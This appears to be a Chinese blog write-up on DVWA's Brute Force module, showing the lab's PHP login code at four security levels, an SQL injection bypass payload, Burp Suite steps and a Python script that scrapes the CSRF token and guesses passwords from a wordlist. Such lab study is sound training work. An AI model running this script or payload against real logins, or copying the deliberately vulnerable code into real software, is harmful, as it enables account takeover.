zoukankan      html  css  js  c++  java
  • DVWA学习记录 PartⅠ

    DVWA介绍

    DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

    DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

    DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

    Brute Force

    1. 题目

    Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。

    Brute_Force1

    2. Low

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Login' ] ) ) { 
        // Get username 
        $user = $_GET[ 'username' ]; 
        // Get password 
        $pass = $_GET[ 'password' ]; 
        $pass = md5( $pass ); 
        // Check the database 
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) { 
            // Get users details 
            $row    = mysqli_fetch_assoc( $result ); 
            $avatar = $row["avatar"]; 
    
            echo "$query"; 
            // Login successful 
            echo "<p>Welcome to the password protected area {$user}</p>"; 
            echo "<img src="{$avatar}" />"; 
        } 
        else { 
            // Login failed 
            echo "<pre><br />Username and/or password incorrect.</pre>"; 
            echo "$query"; 
        } 
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    
    ?> 
    

    服务器只验证了登录过程中Login参数是否被设置,没有任何防爆破的机制,而且对于输入的参数没有进行任何过滤。存在sql注入漏洞

    b. 漏洞利用

    1. 使用burpsuite进行爆破

      Brute_Force2

    2. sql注入

      payload:admin' #

      Brute_Force3

    3. Medium

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Login' ] ) ) { 
        // Sanitise username input 
        $user = $_GET[ 'username' ]; 
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    
        // Sanitise password input 
        $pass = $_GET[ 'password' ]; 
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass = md5( $pass ); 
    
        // Check the database 
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) { 
            // Get users details 
            $row    = mysqli_fetch_assoc( $result ); 
            $avatar = $row["avatar"]; 
            // Login successful 
            echo "<p>Welcome to the password protected area {$user}</p>"; 
            echo "<img src="{$avatar}" />"; 
        } 
        else { 
            // Login failed 
            sleep( 2 ); 
            echo "<pre><br />Username and/or password incorrect.</pre>"; 
        } 
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    ?> 
    

    对于输入的username和password进行了特殊字符的转义(mysql_real_escape_string),但是安全度不高,MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过转义。对于登录失败后sleep(2),不能有效防止爆破攻击。

    b. 漏洞利用

    使用burpsuite进行爆破

    Brute_Force4

    4. High

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Login' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Sanitise username input 
        $user = $_GET[ 'username' ]; 
        $user = stripslashes( $user ); 
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    
        // Sanitise password input 
        $pass = $_GET[ 'password' ]; 
        $pass = stripslashes( $pass ); 
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass = md5( $pass ); 
    
        // Check database 
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) { 
            // Get users details 
            $row    = mysqli_fetch_assoc( $result ); 
            $avatar = $row["avatar"]; 
    
            // Login successful 
            echo "<p>Welcome to the password protected area {$user}</p>"; 
            echo "<img src="{$avatar}" />"; 
        } 
        else { 
            // Login failed 
            sleep( rand( 0, 3 ) ); 
            echo "<pre><br />Username and/or password incorrect.</pre>"; 
        } 
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    ?> 
    

    代码中增加了Token,可以防御CSRF攻击,在点击登录的时候同时会提交Token,增大了爆破的难度。

    <form action="#" method="GET">
    			Username:<br />
    			<input type="text" name="username"><br />
    			Password:<br />
    			<input type="password" AUTOCOMPLETE="off" name="password"><br />
    			<br />
    			<input type="submit" value="Login" name="Login">
    			<input type='hidden' name='user_token' value='33da2d6fe3888d8ac54296d7ab91e155' />
    </form>
    

    可以通过python脚本,进行爆破。

    b. 漏洞利用

    python脚本

    from bs4 import BeautifulSoup
    import requests
    
    header = {
        'Cookie': 'security=high; PHPSESSID=02krk6ekcvc7ofissuaibfivh4'
    }
    
    url = "http://[ip]/DVWA/vulnerabilities/brute/"
    
    def get_token(url, header):
        str_get = requests.get(url=url, headers=header)
        bs = BeautifulSoup(str_get.text, "html.parser")
        user_token = bs.find_all('input')[3].get('value')
        return user_token, str_get
    
    
    user_token, str_ = get_token(url, header)
    i = 1
    for line in open("rkolin.txt"):
        url = "http://[ip]/DVWA/vulnerabilities/brute/" + 
              "?username=admin&password=" + line.strip() + 
              "&Login=Login&user_token=" + user_token
        user_token, str_ = get_token(url, header)
        code = str_.status_code
        length = len(str_.text)
        print(i, 'admin', line.strip(), code, length)
        if 'Username and/or password incorrect.' in str_.text:
            i += 1
            continue
        else:
            print("Success!,Password is '%s'" % line.strip())
            break
    

    使用burpsuite:

    获取数据包,选择Pitchfork

    Brute_Force5

    将线程数修改为1:

    Brute_Force6

    设置搜索项:

    Brute_Force7

    在发送数据包的时候实测会经过重定向,所以这里选择关注重定向:

    Brute_Force8

    修改第二条payload为递归搜索:

    Brute_Force9

    完成攻击:

    Brute_Force10

    5. impossible

    a. 代码分析

    <?php 
    if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Sanitise username input 
        $user = $_POST[ 'username' ]; 
        $user = stripslashes( $user ); 
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    
        // Sanitise password input 
        $pass = $_POST[ 'password' ]; 
        $pass = stripslashes( $pass ); 
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass = md5( $pass ); 
    
        // Default values 
        $total_failed_login = 3; 
        $lockout_time       = 15; 
        $account_locked     = false; 
    
        // Check the database (Check user information) 
        $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); 
        $data->bindParam( ':user', $user, PDO::PARAM_STR ); 
        $data->execute(); 
        $row = $data->fetch(); 
    
        // Check to see if the user has been locked out. 
        if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  { 
            // User locked out.  Note, using this method would allow for user enumeration! 
            //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; 
    
            // Calculate when the user would be allowed to login again 
            $last_login = strtotime( $row[ 'last_login' ] ); 
            $timeout    = $last_login + ($lockout_time * 60); 
            $timenow    = time(); 
    
            /* 
            print "The last login was: " . date ("h:i:s", $last_login) . "<br />"; 
            print "The timenow is: " . date ("h:i:s", $timenow) . "<br />"; 
            print "The timeout is: " . date ("h:i:s", $timeout) . "<br />"; 
            */ 
    
            // Check to see if enough time has passed, if it hasn't locked the account 
            if( $timenow < $timeout ) { 
                $account_locked = true; 
                // print "The account is locked<br />"; 
            } 
        } 
    
        // Check the database (if username matches the password) 
        $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
        $data->bindParam( ':user', $user, PDO::PARAM_STR); 
        $data->bindParam( ':password', $pass, PDO::PARAM_STR ); 
        $data->execute(); 
        $row = $data->fetch(); 
    
        // If its a valid login... 
        if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { 
            // Get users details 
            $avatar       = $row[ 'avatar' ]; 
            $failed_login = $row[ 'failed_login' ]; 
            $last_login   = $row[ 'last_login' ]; 
    
            // Login successful 
            echo "<p>Welcome to the password protected area <em>{$user}</em></p>"; 
            echo "<img src="{$avatar}" />"; 
    
            // Had the account been locked out since last login? 
            if( $failed_login >= $total_failed_login ) { 
                echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; 
                echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; 
            } 
    
            // Reset bad login count 
            $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); 
            $data->bindParam( ':user', $user, PDO::PARAM_STR ); 
            $data->execute(); 
        } else { 
            // Login failed 
            sleep( rand( 2, 4 ) ); 
    
            // Give the user some feedback 
            echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; 
    
            // Update bad login count 
            $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); 
            $data->bindParam( ':user', $user, PDO::PARAM_STR ); 
            $data->execute(); 
        } 
    
        // Set the last login time 
        $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); 
        $data->bindParam( ':user', $user, PDO::PARAM_STR ); 
        $data->execute(); 
    } 
    
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    
    ?> 
    

    代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

    同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

  • 相关阅读:
    2021,6,10 xjzx 模拟考试
    平衡树(二)——Treap
    AtCoder Beginner Contest 204 A-E简要题解
    POJ 2311 Cutting Game 题解
    Codeforces 990G GCD Counting 题解
    NOI2021 SDPTT D2T1 我已经完全理解了 DFS 序线段树 题解
    第三届山东省青少年创意编程与智能设计大赛总结
    Luogu P6042 「ACOI2020」学园祭 题解
    联合省选2021 游记
    Codeforces 1498E Two Houses 题解 —— 如何用结论吊打标算
  • 原文地址:https://www.cnblogs.com/chalan630/p/12728979.html
Copyright © 2011-2022 走看看